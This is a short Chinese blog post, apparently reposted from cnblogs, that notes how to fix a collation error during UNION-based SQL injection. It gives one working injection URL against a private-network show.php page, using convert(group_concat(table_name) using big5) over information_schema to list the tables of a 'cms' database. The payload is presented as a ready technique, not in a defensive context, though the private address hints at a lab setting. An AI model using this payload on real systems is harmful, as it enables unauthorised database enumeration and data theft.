码迷,mamicode.com
首页 > 数据库 > 详细

sql注入记录------类型转换错误---convert()函数

时间:2018-04-23 19:53:27      阅读:1011      评论:0      收藏:0      [点我收藏+]

标签:记录   form   format   sql   联合查询   union all   pre   sql注入   编码   

sql注入在联合查询是出现一下错误查不到数据

Illegal mix of collations for operation ‘UNION‘

技术分享图片

用convert() 转换编码为utf8 或者big5 就可以了

http://10.1.2.5:52843/wcms/show.php?id=-33 union all SELECT 1,2,3,4,5,6,7,8,9,10,convert(group_concat(table_name) using big5),12,13,14,15 from information_schema.tables where table_schema=‘cms‘

 

sql注入记录------类型转换错误---convert()函数

标签:记录   form   format   sql   联合查询   union all   pre   sql注入   编码   

原文地址:https://www.cnblogs.com/hackxf/p/8921046.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!